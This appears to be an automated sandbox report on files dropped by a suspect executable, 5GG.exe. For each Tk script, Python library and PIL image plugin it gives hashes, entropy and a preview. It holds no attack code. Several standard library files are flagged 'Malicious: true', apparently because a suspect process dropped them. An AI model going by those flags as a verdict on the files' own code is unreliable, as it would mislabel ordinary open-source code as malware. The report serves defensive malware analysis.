Preview:	#..# Settings for 'xpnative' theme..#....namespace eval ttk::theme::xpnative {.... ttk::style theme settings xpnative {.....ttk::style configure . \... -background SystemButtonFace \... -foreground SystemWindowText \... -selectforeground SystemHighlightText \... -selectbackground SystemHighlight \... -insertcolor SystemWindowText \... -font TkDefaultFont \... ;.....ttk::style map "." \... -foreground [list disabled SystemGrayText] \... ;.....ttk::style configure TButton -anchor center -padding {1 1} -width -11...ttk::style configure TRadiobutton -padding 2...ttk::style configure TCheckbutton -padding 2...ttk::style configure TMenubutton -padding {8 4}.....ttk::style configure TNotebook -tabmargins {2 2 2 0}...ttk::style map TNotebook.Tab \... -expand [list selected {2 2 2 2}].....ttk::style configure TLabelframe.Label -foreground "#0046d5".....# OR: -padding {3 3 3 6}, which some apps seem to use....ttk::style configure TEntry -padding {2 2 2 4}...ttk::

C:\Users\user\AppData\Local\Temp\_MEI73402\tk\unsupported.tcl

Download File

Process:	C:\Users\user\AppData\Local\Temp\5GG.exe
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	10521
Entropy (8bit):	5.0647027375963996
Encrypted:	false
SSDEEP:	192:1Y3uWEXm/swEePmJhRAXd1hTHsHG2ML/9Lm2daM0Hu:8hodMiM0Hu
MD5:	508F7E258C04970FAE526990168CB773
SHA1:	33785204B18C0E0F5CDCB5B49399B5907351FDB8
SHA-256:	B463B366F139DDF7FED31F34C6D2341F9F27845A1A358011DFC801E1333B1828
SHA-512:	A12985B58DD1D46297119CED47B7F44EF4139CED6C36FD028E66DD657E5ED0663B744C679A5BF7A39B39D17A32E1280D2945F6B9AD59AEF20436F68040F6070C
Malicious:	false
Preview:	# unsupported.tcl --..#..# Commands provided by Tk without official support. Use them at your..# own risk. They may change or go away without notice...#..# See the file "license.terms" for information on usage and redistribution..# of this file, and for a DISCLAIMER OF ALL WARRANTIES.....# ----------------------------------------------------------------------..# Unsupported compatibility interface for folks accessing Tk's private..# commands and variable against recommended usage...# ----------------------------------------------------------------------....namespace eval ::tk::unsupported {.... # Map from the old global names of Tk private commands to their.. # new namespace-encapsulated names..... variable PrivateCommands.. array set PrivateCommands {...tkButtonAutoInvoke..::tk::ButtonAutoInvoke...tkButtonDown...::tk::ButtonDown...tkButtonEnter...::tk::ButtonEnter...tkButtonInvoke...::tk::ButtonInvoke...tkButtonLeave...::tk::ButtonLeave...tkButtonUp...::tk::ButtonUp...tk

C:\Users\user\AppData\Local\Temp\_MEI73402\tk\xmfbox.tcl

Download File

Process:	C:\Users\user\AppData\Local\Temp\5GG.exe
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	27064
Entropy (8bit):	4.967626999005091
Encrypted:	false
SSDEEP:	384:0BLzjXhss64XP8FXm39QJ63nwFiHLgRIdNPCRE5phLtffsNP4XWdxWk+I5oy9jN7:0BvjXoivB3flLCRE5phLCP3xWV8veTod
MD5:	6DFD12DB27069F13957BC963EF5ACAAF
SHA1:	E492F0B60D73CE17C4FA7680BF0087DC5E0CC132
SHA-256:	1ED57E32CE9C419BCE36B483A91410DDF4C997CAF62D20E42048FC350F8C3F60
SHA-512:	32A3E205B4BC3B7D4D6F31E6FD26075EA3FAB7396F7392855D8BD4426CFEE9081482759EFF219038D64B074E2D3D864041E7C37DCA134F2A0C3140AA04D757C2
Malicious:	false
Preview:	# xmfbox.tcl --..#..#.Implements the "Motif" style file selection dialog for the..#.Unix platform. This implementation is used only if the..#."::tk_strictMotif" flag is set...#..# Copyright (c) 1996 Sun Microsystems, Inc...# Copyright (c) 1998-2000 Scriptics Corporation..#..# See the file "license.terms" for information on usage and redistribution..# of this file, and for a DISCLAIMER OF ALL WARRANTIES.....namespace eval ::tk::dialog {}..namespace eval ::tk::dialog::file {}......# ::tk::MotifFDialog --..#..#.Implements a file dialog similar to the standard Motif file..#.selection box...#..# Arguments:..#.type.."open" or "save"..#.args..Options parsed by the procedure...#..# Results:..#.When -multiple is set to 0, this returns the absolute pathname..#.of the selected file. (NOTE: This is not the same as a single..#.element list.)..#..#.When -multiple is set to > 0, this returns a Tcl list of absolute..# pathnames. The argument for -multiple is ignored, but for consistency..#

C:\Users\user\AppData\Local\Temp\_MEI73402\ucrtbase.dll

Download File

Process:	C:\Users\user\AppData\Local\Temp\5GG.exe
File Type:	PE32+ executable (DLL) (console) x86-64, for MS Windows
Category:	dropped
Size (bytes):	1011592
Entropy (8bit):	6.662579264062897
Encrypted:	false
SSDEEP:	24576:hkmZDEMHhp9v1Ikbn3ND0TNVOsIut8P4zmxvSZX0yplkp:qmZFHhp9v1Io3h0TN3pvkp
MD5:	4787D6A587A04513EC60770AF6ACE5EB
SHA1:	DA64C5819D1A497077CF70492CFF3FC820313294
SHA-256:	106D96EBB4435AAB3D5147F1DE1E0B3A2E68B3B23229A084B3149941633AA248
SHA-512:	95F6FC61CFB99EE80C788331289026E29234ED7E664E154A09DC51B60EECCD79D3F7BB56A106769676F8CC02983AD6C9BC8B9F47EB23AA5E7E701B3386AB6A90
Malicious:	true
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.........W..l9F.l9F.l9F...F.l9F.l8F.l9F...F.l9F..9G.l9F..:G.l9F..<G.l9F..7G.n9F..=G.l9F...F.l9F..;G.l9FRich.l9F........PE..d.....}X.........." .........`....................................................../X....`A................................................p......................F...)......p...PX..T............................'...............O...............................text............................... ..`.rdata..<u.......v..................@..@.data....$...........r..............@....pdata.............................@..@.rsrc................4..............@..@.reloc..p............:..............@..B................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\_MEI73402\unicodedata.pyd

Download File

Process:	C:\Users\user\AppData\Local\Temp\5GG.exe
File Type:	PE32+ executable (DLL) (GUI) x86-64, for MS Windows
Category:	dropped
Size (bytes):	1121192
Entropy (8bit):	5.384501252071814
Encrypted:	false
SSDEEP:	12288:bMYYMmuZ63NoQCb5Pfhnzr0ql8L8koM7IRG5eeme6VZyrIBHdQLhfFE+uz9O:AYYuXZV0m8wMMREtV6Vo4uYz9O
MD5:	102BBBB1F33CE7C007AAC08FE0A1A97E
SHA1:	9A8601BEA3E7D4C2FA6394611611CDA4FC76E219
SHA-256:	2CF6C5DEA30BB0584991B2065C052C22D258B6E15384447DCEA193FDCAC5F758
SHA-512:	A07731F314E73F7A9EA73576A89CCB8A0E55E53F9B5B82F53121B97B1814D905B17A2DA9BD2EDA9F9354FC3F15E3DEA7A613D7C9BC98C36BBA653743B24DFC32
Malicious:	true
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........(..F...F...F......F..G...F..C...F..B...F..E...F...G...F.C.G...F...G...F...K...F...F...F.......F...D...F.Rich..F.........................PE..d....K.b.........." ... .B...........*.......................................@......Y.....`.............................................X...(........ ...................)...0......@b..T............................a..@............`..x............................text....A.......B.................. ..`.rdata......`.......F..............@..@.data...............................@....pdata..............................@..@.rsrc........ ......................@..@.reloc.......0......................@..B................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\_MEI73402\venv\.gitignore

Download File

Process:	C:\Users\user\AppData\Local\Temp\5GG.exe
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	42
Entropy (8bit):	4.127569435189147
Encrypted:	false
SSDEEP:	3:SlEVFTWYLJ5qMGMZv6n:SlSoqqsZi
MD5:	7F021D96BE75D52C04B44E568E1CFEDB
SHA1:	0FED5CC228F20B49596FF6D76B38DAD2EB962BBF
SHA-256:	6C76BEE988684532BC13468F82833B352C14D129F968B50B1F4A0E08D172EDCB
SHA-512:	B983CEE8ACD972F838BCF077B75003B962EBBFCE37B3758B7844160EB7211ADA4CD14AAC26ADA023C690C355E3972D964AD4896C1DAE028ED106A6CF2390151E
Malicious:	false
Preview:	# created by virtualenv automatically..*..

C:\Users\user\AppData\Local\Temp\_MEI73402\venv\Lib\site-packages\Eel-0.16.0.dist-info\INSTALLER

Download File

Process:	C:\Users\user\AppData\Local\Temp\5GG.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	4
Entropy (8bit):	1.5
Encrypted:	false
SSDEEP:	3:Mn:M
MD5:	365C9BFEB7D89244F2CE01C1DE44CB85
SHA1:	D7A03141D5D6B1E88B6B59EF08B6681DF212C599
SHA-256:	CEEBAE7B8927A3227E5303CF5E0F1F7B34BB542AD7250AC03FBCDE36EC2F1508
SHA-512:	D220D322A4053D84130567D626A9F7BB2FB8F0B854DA1621F001826DC61B0ED6D3F91793627E6F0AC2AC27AEA2B986B6A7A63427F05FE004D8A2ADFBDADC13C1
Malicious:	false
Preview:	pip.

C:\Users\user\AppData\Local\Temp\_MEI73402\venv\Lib\site-packages\Eel-0.16.0.dist-info\LICENSE

Download File

Process:	C:\Users\user\AppData\Local\Temp\5GG.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	1068
Entropy (8bit):	5.096487871915549
Encrypted:	false
SSDEEP:	24:H8rmJHHH0yN3gtsHw1hC09QHOsUv4eOk4/+/m3oqLFh:H8aJHlxE3dQHOs5exm3ogFh
MD5:	237407F45FF51ED533A61402058C1EF0
SHA1:	068786AF9C7A47F208E602BF29B7A692C5A565D5
SHA-256:	ABB9F95673C3269EF193F48E1F9C40202ACDED7066821B24E15D0ABE94F54804
SHA-512:	EAD11CE98AC4CA3CD15363E37F9BF398C5A8E19C54F7B09BF2E11AF478B6C4B80BFC50E19B25E4AE65A2BABE4496553ECFE740753BB16C7E905A1598F66DFE7F
Malicious:	false
Preview:	MIT License..Copyright (c) 2018 Chris Knott..Permission is hereby granted, free of charge, to any person obtaining a copy.of this software and associated documentation files (the "Software"), to deal.in the Software without restriction, including without limitation the rights.to use, copy, modify, merge, publish, distribute, sublicense, and/or sell.copies of the Software, and to permit persons to whom the Software is.furnished to do so, subject to the following conditions:..The above copyright notice and this permission notice shall be included in all.copies or substantial portions of the Software...THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR.IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,.FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE.AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER.LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,.OUT OF OR IN CONNECT

C:\Users\user\AppData\Local\Temp\_MEI73402\venv\Lib\site-packages\Eel-0.16.0.dist-info\METADATA

Download File

Process:	C:\Users\user\AppData\Local\Temp\5GG.exe
File Type:	exported SGML document, ASCII text, with very long lines (622), with CRLF line terminators
Category:	dropped
Size (bytes):	18495
Entropy (8bit):	5.011356208478485
Encrypted:	false
SSDEEP:	384:tGsSx2xQxWFjdgORNNs4NHNE8B123l7qwNcpOnrKFJcD87Msi:0sHFjJ7Ns4NHXn2rNye4JcDKi
MD5:	628412DF4FF98E5E168B0EA96F886975
SHA1:	3B179403B543E4428A828C931A0914B9F35E0251
SHA-256:	AE7855D7B3B56F2343EE476EE3E0FC65887031BBD79FF38F258207D25A15187B
SHA-512:	CACE77D03C588B001457578880B43BFB62C5D563BD9D19E44F2B99878FB3E28E83F55DDA3856F533B8988766861C34B4D19239E5511518041E2C7B2EE0C4891F
Malicious:	false
Preview:	Metadata-Version: 2.1..Name: Eel..Version: 0.16.0..Summary: For little HTML GUI applications, with easy Python/JS interop..Home-page: https://github.com/python-eel/Eel..Author: Python Eel Organisation..Author-email: python-eel@protonmail.com..Keywords: gui,html,javascript,electron..Classifier: Development Status :: 3 - Alpha..Classifier: Natural Language :: English..Classifier: Operating System :: MacOS..Classifier: Operating System :: POSIX..Classifier: Operating System :: Microsoft :: Windows :: Windows 10..Classifier: Programming Language :: Python :: 3..Classifier: Programming Language :: Python :: 3.7..Classifier: Programming Language :: Python :: 3.8..Classifier: Programming Language :: Python :: Implementation :: CPython..Classifier: License :: OSI Approved :: MIT License..Requires-Python: >=3.7..Description-Content-Type: text/markdown..License-File: LICENSE..Requires-Dist: bottle..Requires-Dist: bottle-websocket..Requires-Dist: future..Requires-Dist: pyparsing..Requires-Dist: w

C:\Users\user\AppData\Local\Temp\_MEI73402\venv\Lib\site-packages\Eel-0.16.0.dist-info\RECORD

Download File

Process:	C:\Users\user\AppData\Local\Temp\5GG.exe
File Type:	CSV text
Category:	dropped
Size (bytes):	1396
Entropy (8bit):	5.8657437168933715
Encrypted:	false
SSDEEP:	24:rn/2zDrgv/IQPgrqXg6g5+TbglXLFJavxOFuLXsp6rP8b+6169oGXv4KqPwVoMLu:rnuXrgpPgrcg6g56bglbFJkxAcsoLErV
MD5:	BE37CF4C14919B0B0624DD6564BB74CB
SHA1:	7B3DECBA69E53CA12E26DA5B5025D38465EA919E
SHA-256:	E08820EE754DFAC9C0E3A1498DC685A16031BD618AFE5BCB113E17CC040064B6
SHA-512:	ADD8327A512329FDEA1A1F3FEBDB3EB1E8A43A9D520F2D88ED33C2C7BD1A4E636A3FC6409032D7F9994C8B2C90D0980F46806DECAB9151BFFA897E6233556216
Malicious:	false
Preview:	Eel-0.16.0.dist-info/INSTALLER,sha256=zuuue4knoyJ-UwPPXg8fezS7VCrXJQrAP7zeNuwvFQg,4..Eel-0.16.0.dist-info/LICENSE,sha256=q7n5VnPDJp7xk_SOH5xAICrN7XBmghsk4V0KvpT1SAQ,1068..Eel-0.16.0.dist-info/METADATA,sha256=rnhV17O1byND7kdu4-D8ZYhwMbvXn_OPJYIH0loVGHs,18495..Eel-0.16.0.dist-info/RECORD,,..Eel-0.16.0.dist-info/WHEEL,sha256=yQN5g4mg4AybRjkgi-9yy4iQEFibGQmlz78Pik5Or-A,92..Eel-0.16.0.dist-info/top_level.txt,sha256=ZgtyqGJIDGc0gxipOncQG45T9byxgxqRW9IFDXO4iJk,4..eel/__init__.py,sha256=jO3Gvb7PxJ1Dpn07ju9tQgfXhyoxRlL2hUbJmqxlZ2Y,16224..eel/__main__.py,sha256=hS0O5ugpLJcqogR3drDPJJ3tHYOCqSDph2PbBpS2wk8,1334..eel/__pycache__/__init__.cpython-310.pyc,,..eel/__pycache__/__main__.cpython-310.pyc,,..eel/__pycache__/browsers.cpython-310.pyc,,..eel/__pycache__/chrome.cpython-310.pyc,,..eel/__pycache__/edge.cpython-310.pyc,,..eel/__pycache__/electron.cpython-310.pyc,,..eel/__pycache__/types.cpython-310.pyc,,..eel/browsers.py,sha256=h5X09xTEzJ5PlnpSWcUBngM3ho1VkXtuwIH3zldA9DE,3228..eel/chrome.py,sha256

C:\Users\user\AppData\Local\Temp\_MEI73402\venv\Lib\site-packages\Eel-0.16.0.dist-info\WHEEL

Download File

Process:	C:\Users\user\AppData\Local\Temp\5GG.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	92
Entropy (8bit):	4.842566724466667
Encrypted:	false
SSDEEP:	3:RtEeX7MWcSlVlF5jP+tPCCfA5S:RtBMwlVNWBBf
MD5:	18F1A484771C3F3A3D3B90DF42ACFBBE
SHA1:	CAB34A71BD14A5EEDE447EEB4CFA561E5B976A94
SHA-256:	C903798389A0E00C9B4639208BEF72CB889010589B1909A5CFBF0F8A4E4EAFE0
SHA-512:	3EFAF71D54FC3C3102090E0D0F718909564242079DE0AA92DACAB91C50421F80CBF30A71136510D161CAAC5DC2733D00EB33A4094DE8604E5CA5D307245158AA
Malicious:	false
Preview:	Wheel-Version: 1.0.Generator: bdist_wheel (0.41.2).Root-Is-Purelib: true.Tag: py3-none-any..

C:\Users\user\AppData\Local\Temp\_MEI73402\venv\Lib\site-packages\Eel-0.16.0.dist-info\top_level.txt

Download File

Process:	C:\Users\user\AppData\Local\Temp\5GG.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	4
Entropy (8bit):	1.5
Encrypted:	false
SSDEEP:	3:lJv:Tv
MD5:	A7FF98A73A6C2D75452D336D1CA1E78D
SHA1:	645B292D649D04518342B3F656D7368A607F8859
SHA-256:	660B72A862480C67348318A93A77101B8E53F5BCB1831A915BD2050D73B88899
SHA-512:	E184FED97311E9BD369A2F10EC5829E1E29FA873B8AACF5C515C62553F3FCD854C576D641EC62D79B6699053241044BE20ABB13FBEAD522BB362724FE5DFB891
Malicious:	false
Preview:	eel.

C:\Users\user\AppData\Local\Temp\_MEI73402\venv\Lib\site-packages\PIL\BdfFontFile.py

Download File

Process:	C:\Users\user\AppData\Local\Temp\5GG.exe
File Type:	Python script, ASCII text executable, with CRLF line terminators
Category:	dropped
Size (bytes):	3602
Entropy (8bit):	4.8117649094274615
Encrypted:	false
SSDEEP:	96:RxbSu0EQyol4+ZMjcmRaRHWBgomRQY74ZQ0tuVFNd9yo:w4y4TtSJ
MD5:	9B154C1ED9CA74C7731329B43F85FD0B
SHA1:	E580584626EDE714DFFD29FE6DE78E4FD1364196
SHA-256:	78E88FC9ADA780F8F8DC1967B28040840FA6E5AF2D9F6F9BFA3A47172F562084
SHA-512:	50FF1A003EEB987A4AEEB3554C9760FDE1EE3B46D39F0193D23417AC4C03DFC65E33E809A5278BA4080F9EB57A18F145855D4544172FF4BB6C8B7263A86C0584
Malicious:	true
Preview:	#..# The Python Imaging Library..# $Id$..#..# bitmap distribution font (bdf) file parser..#..# history:..# 1996-05-16 fl created (as bdf2pil)..# 1997-08-25 fl converted to FontFile driver..# 2001-05-25 fl removed bogus __init__ call..# 2002-11-20 fl robustification (from Kevin Cazabon, Dmitry Vasiliev)..# 2003-04-22 fl more robustification (from Graham Dumpleton)..#..# Copyright (c) 1997-2003 by Secret Labs AB...# Copyright (c) 1997-2003 by Fredrik Lundh...#..# See the README file for information on usage and redistribution...#...."""..Parse X Bitmap Distribution Format (BDF).."""..from __future__ import annotations....from typing import BinaryIO....from . import FontFile, Image....bdf_slant = {.. "R": "Roman",.. "I": "Italic",.. "O": "Oblique",.. "RI": "Reverse Italic",.. "RO": "Reverse Oblique",.. "OT": "Other",..}....bdf_spacing = {"P": "Proportional", "M": "Monospaced", "C": "Cell"}......def bdf_char(.. f: BinaryIO,..) -> (.. tuple[.. str,..

C:\Users\user\AppData\Local\Temp\_MEI73402\venv\Lib\site-packages\PIL\BlpImagePlugin.py

Download File

Process:	C:\Users\user\AppData\Local\Temp\5GG.exe
File Type:	Python script, ASCII text executable, with CRLF line terminators
Category:	dropped
Size (bytes):	16044
Entropy (8bit):	4.5425861629770905
Encrypted:	false
SSDEEP:	192:rxUSYNnCh+r/sND4G8/TYIaFGRWOYvuT/W7DXZuEzERFBKh63DWYzpXaWhjQ3Pa:TY9rkN/AT/W7DEEzEPBKhYtX3
MD5:	DB7E050FDF6F07BD37CD984CBB15CD32
SHA1:	2416AE04BDE1643F3CF3E600FA1EFB73EA13F31F
SHA-256:	5B19B8B559E25AD558CD779642EE6EE063A0D7769F60431A60D61FE54ACB7289
SHA-512:	1F0BA3CE2944BEBB9CA5973A6CE47939546D715E7EF17CDC943EC16AC79F0E9724E0DA8B5525F0C1EEB77A69EA3E1C22EAC9521E4C61B06688551548012F2B4C
Malicious:	true
Preview:	"""..Blizzard Mipmap Format (.blp)..Jerome Leclanche <jerome@leclan.ch>....The contents of this file are hereby released in the public domain (CC0)..Full text of the CC0 license:.. https://creativecommons.org/publicdomain/zero/1.0/....BLP1 files, used mostly in Warcraft III, are not fully supported...All types of BLP2 files used in World of Warcraft are supported.....The BLP file structure consists of a header, up to 16 mipmaps of the..texture....Texture sizes must be powers of two, though the two dimensions do..not have to be equal; 512x256 is valid, but 512x200 is not...The first mipmap (mipmap #0) is the full size image; each subsequent..mipmap halves both dimensions. The final mipmap should be 1x1.....BLP files come in many different flavours:..* JPEG-compressed (type == 0) - only supported for BLP1...* RAW images (type == 1, encoding == 1). Each mipmap is stored as an.. array of 8-bit values, one per pixel, left to right, top to bottom... Each value is an index to the palette..

C:\Users\user\AppData\Local\Temp\_MEI73402\venv\Lib\site-packages\PIL\BmpImagePlugin.py

Download File

Process:	C:\Users\user\AppData\Local\Temp\5GG.exe
File Type:	Python script, ASCII text executable, with CRLF line terminators
Category:	dropped
Size (bytes):	18170
Entropy (8bit):	4.571961110053636
Encrypted:	false
SSDEEP:	192:Jz3WrM3Sqx9d0a68yLGDbWojuQQn8MeI/HYsI0NZkL/tFt/RsPK9OUkAXfx7NpR9:Jyrzud4K4UkAXlRlsa6i9
MD5:	DBF8EB5406E54DDA80FDDC623475CE4B
SHA1:	309E8A20AA04CC8A4A58002BE24AFFC5EF90241F
SHA-256:	EA40043494D14BCA405AABE63E519FEB3D5896EC9CE840C4F7DF8FAF2E026960
SHA-512:	BC262B22F7B759F5A6002C10679E14E840194A4E61BFBB5DC750989EDDAB8A064188D9512881CDDD35A4D4AB2449B173417DEC2D127F4D83A7E82569A6B62138
Malicious:	true
Preview:	#..# The Python Imaging Library...# $Id$..#..# BMP file handler..#..# Windows (and OS/2) native bitmap storage format...#..# history:..# 1995-09-01 fl Created..# 1996-04-30 fl Added save..# 1997-08-27 fl Fixed save of 1-bit images..# 1998-03-06 fl Load P images as L where possible..# 1998-07-03 fl Load P images as 1 where possible..# 1998-12-29 fl Handle small palettes..# 2002-12-30 fl Fixed load of 1-bit palette images..# 2003-04-21 fl Fixed load of 1-bit monochrome images..# 2003-04-23 fl Added limited support for BI_BITFIELDS compression..#..# Copyright (c) 1997-2003 by Secret Labs AB..# Copyright (c) 1995-2003 by Fredrik Lundh..#..# See the README file for information on usage and redistribution...#..from __future__ import annotations....import os....from . import Image, ImageFile, ImagePalette..from ._binary import i16le as i16..from ._binary import i32le as i32..from ._binary import o8..from ._binary import o16le as o16..from ._binary import o32le as o32....#..#

C:\Users\user\AppData\Local\Temp\_MEI73402\venv\Lib\site-packages\PIL\BufrStubImagePlugin.py

Download File

Process:	C:\Users\user\AppData\Local\Temp\5GG.exe
File Type:	Python script, ASCII text executable, with CRLF line terminators
Category:	dropped
Size (bytes):	1666
Entropy (8bit):	4.823571024003919
Encrypted:	false
SSDEEP:	48:RqGeC6/bkQRjP6gY4ixp6hnIOZ1xqUpQTrKzwVQtCwcPxwai:RxeCkZygExpynVpQTMwV+Cwexwai
MD5:	26685D01B30FF7A5D339F131ABFEF76F
SHA1:	4AAB7DFA9565F7ADE8FB9808EB3AA53E4C05D709
SHA-256:	C25C524452938753DED6284D863C255398EA7F34099A5E92D76E7EE4EF2E9D88
SHA-512:	4E86508222A752DC28D3E020202B3A7F0CDFD24EC777ED3FC832CB18FD09EAB8C9F1CCB39231DBA4540EB81B81FFF230252193A8C0C6EF5723708F6040D267B2
Malicious:	true
Preview:	#..# The Python Imaging Library..# $Id$..#..# BUFR stub adapter..#..# Copyright (c) 1996-2003 by Fredrik Lundh..#..# See the README file for information on usage and redistribution...#..from __future__ import annotations....from . import Image, ImageFile...._handler = None......def register_handler(handler):.. """.. Install application-specific BUFR image handler..... :param handler: Handler object... """.. global _handler.. _handler = handler......# --------------------------------------------------------------------..# Image adapter......def _accept(prefix):.. return prefix[:4] == b"BUFR" or prefix[:4] == b"ZCZC"......class BufrStubImageFile(ImageFile.StubImageFile):.. format = "BUFR".. format_description = "BUFR".... def _open(self):.. offset = self.fp.tell().... if not _accept(self.fp.read(4)):.. msg = "Not a BUFR file".. raise SyntaxError(msg).... self.fp.seek(offset).... # make something up.. s

C:\Users\user\AppData\Local\Temp\_MEI73402\venv\Lib\site-packages\PIL\ContainerIO.py

Download File

Process:	C:\Users\user\AppData\Local\Temp\5GG.exe
File Type:	Python script, ASCII text executable, with CRLF line terminators
Category:	dropped
Size (bytes):	3302
Entropy (8bit):	4.337189993849943
Encrypted:	false
SSDEEP:	48:RqKtoGRLibkQRVTVCnRUtUdN5xX1eJ4VrAbMQXmZIItkQ8vIHbv1yIbUZCTu5lQL:RjRRW/TV4Rls8AbcIFIjkIbleq
MD5:	11539F38A6E0759E85ADD8E627221D0E
SHA1:	8FFAF8D1A3C8B849F6EEB36F20CC217D1EA3CE2F
SHA-256:	053CFA425CFE5720E6BAB5E75A9414FA501EBCBC6072C39C10664FD02B6F48A7
SHA-512:	0DC6AE23ADB579E13F2EE5707890A3AF93D7BEA82A9862990B47DB16BC4F6F5A4B7D5E6FCFD7AC4371F046E0CE3F2D7B1FF5E6694E9E66A575564408B2D2B564
Malicious:	true
Preview:	#..# The Python Imaging Library...# $Id$..#..# a class to read from a container file..#..# History:..# 1995-06-18 fl Created..# 1995-09-07 fl Added readline(), readlines()..#..# Copyright (c) 1997-2001 by Secret Labs AB..# Copyright (c) 1995 by Fredrik Lundh..#..# See the README file for information on usage and redistribution...#..from __future__ import annotations....import io..from typing import IO, AnyStr, Generic, Literal......class ContainerIO(Generic[AnyStr]):.. """.. A file object that provides read access to a part of an existing.. file (for example a TAR file)... """.... def __init__(self, file: IO[AnyStr], offset: int, length: int) -> None:.. """.. Create file object..... :param file: Existing file... :param offset: Start of region, in bytes... :param length: Size of region, in bytes... """.. self.fh: IO[AnyStr] = file.. self.pos = 0.. self.offset = offset.. self.length = length..

C:\Users\user\AppData\Local\Temp\_MEI73402\venv\Lib\site-packages\PIL\CurImagePlugin.py

Download File

Process:	C:\Users\user\AppData\Local\Temp\5GG.exe
File Type:	Python script, ASCII text executable, with CRLF line terminators
Category:	dropped
Size (bytes):	1816
Entropy (8bit):	4.743267332878157
Encrypted:	false
SSDEEP:	48:RqKTAoobkQRj9ekp6h0sp+mIpQAZyp0baNPRN0j7wObtpwH5:RjTAPZ9ekpyMQInb6NmwOJpwH5
MD5:	895863DF9525A7E3578FBB1556D00A93
SHA1:	BC0B9A1E28B6259F1EF3539CA96A5FCDB91F9C75
SHA-256:	8B945ABEB6C3FC39A6FAC1931A2E0605E6C5CAC2BE5EF46BE669BC8CC7AEEEA6
SHA-512:	325BFFF50518D064093FB0A741763536E18DDDD2D5D018A53C849C7A3E0C476894BEBB62CBB0C6B646D9E43A73971382A8F81D862D1270FC90E22C2228C4BE3B
Malicious:	true
Preview:	#..# The Python Imaging Library...# $Id$..#..# Windows Cursor support for PIL..#..# notes:..# uses BmpImagePlugin.py to read the bitmap data...#..# history:..# 96-05-27 fl Created..#..# Copyright (c) Secret Labs AB 1997...# Copyright (c) Fredrik Lundh 1996...#..# See the README file for information on usage and redistribution...#..from __future__ import annotations....from . import BmpImagePlugin, Image..from ._binary import i16le as i16..from ._binary import i32le as i32....#..# --------------------------------------------------------------------......def _accept(prefix):.. return prefix[:4] == b"\0\0\2\0"......##..# Image plugin for Windows Cursor files.......class CurImageFile(BmpImagePlugin.BmpImageFile):.. format = "CUR".. format_description = "Windows Cursor".... def _open(self):.. offset = self.fp.tell().... # check magic.. s = self.fp.read(6).. if not _accept(s):.. msg = "not a CUR file".. raise Synta

C:\Users\user\AppData\Local\Temp\_MEI73402\venv\Lib\site-packages\PIL\DcxImagePlugin.py

Download File

Process:	C:\Users\user\AppData\Local\Temp\5GG.exe
File Type:	Python script, ASCII text executable, with CRLF line terminators
Category:	dropped
Size (bytes):	2073
Entropy (8bit):	4.814287206097659
Encrypted:	false
SSDEEP:	48:RqKsSjJJr0GrZeQ0bkQRjQ6IbhpMfhzQ8us9UQX1nkqejpBwj0tpw+q:RjsS1J3rIQQZQ6Gp05Ewjqpw+q
MD5:	011E7BF2F7CE57B0A13543B91154FBBE
SHA1:	01201DF99491C7C82A505C38AFD0AFFE753DCBB5
SHA-256:	3492D48BC379CADD71A2374F666A68CC2E97AB7F64D4AF4AC412693156C05E10
SHA-512:	2911ED968D4EEF8F89B0764865EEF156B92A1517F479AC49E9135CBBBE46EDC86A3C2C2329DA115F0D4261577810A4071A55EC3AE2156F8696D31FEB8A182B5F
Malicious:	true
Preview:	#..# The Python Imaging Library...# $Id$..#..# DCX file handling..#..# DCX is a container file format defined by Intel, commonly used..# for fax applications. Each DCX file consists of a directory..# (a list of file offsets) followed by a set of (usually 1-bit)..# PCX files...#..# History:..# 1995-09-09 fl Created..# 1996-03-20 fl Properly derived from PcxImageFile...# 1998-07-15 fl Renamed offset attribute to avoid name clash..# 2002-07-30 fl Fixed file handling..#..# Copyright (c) 1997-98 by Secret Labs AB...# Copyright (c) 1995-96 by Fredrik Lundh...#..# See the README file for information on usage and redistribution...#..from __future__ import annotations....from . import Image..from ._binary import i32le as i32..from .PcxImagePlugin import PcxImageFile....MAGIC = 0x3ADE68B1 # QUIZ: what's this value, then?......def _accept(prefix):.. return len(prefix) >= 4 and i32(prefix) == MAGIC......##..# Image plugin for the Intel DCX format.......class DcxImageFile(PcxImageFile)

C:\Users\user\AppData\Local\Temp\_MEI73402\venv\Lib\site-packages\PIL\DdsImagePlugin.py

Download File

Process:	C:\Users\user\AppData\Local\Temp\5GG.exe
File Type:	Python script, ASCII text executable, with CRLF line terminators
Category:	dropped
Size (bytes):	17105
Entropy (8bit):	5.043771437473231
Encrypted:	false
SSDEEP:	192:Dx90NTjdHgtdU1V+Dhzh7A+Ev1WS/4YJjGZRg8D3+e7wAqAmQqf:T09z417A3JjG7gmwl
MD5:	9B8084A619A27ED5BE0BE86C7EB92719
SHA1:	C90D249F4DA73F0B47D8EF164C7A913E5F381192
SHA-256:	E07C0B03036C1809CEDC43F818902A31DDF2CF20AFDEEF981CEDB09D126C2859
SHA-512:	77F737BC7B71B115FF3E6D5246A3FAF7A9194901055284AF93FB4A7C0B3D217725D0F8224EFD8232A269C846025E818C7F38065DE28E24A36CE4BBDA20D95649
Malicious:	true
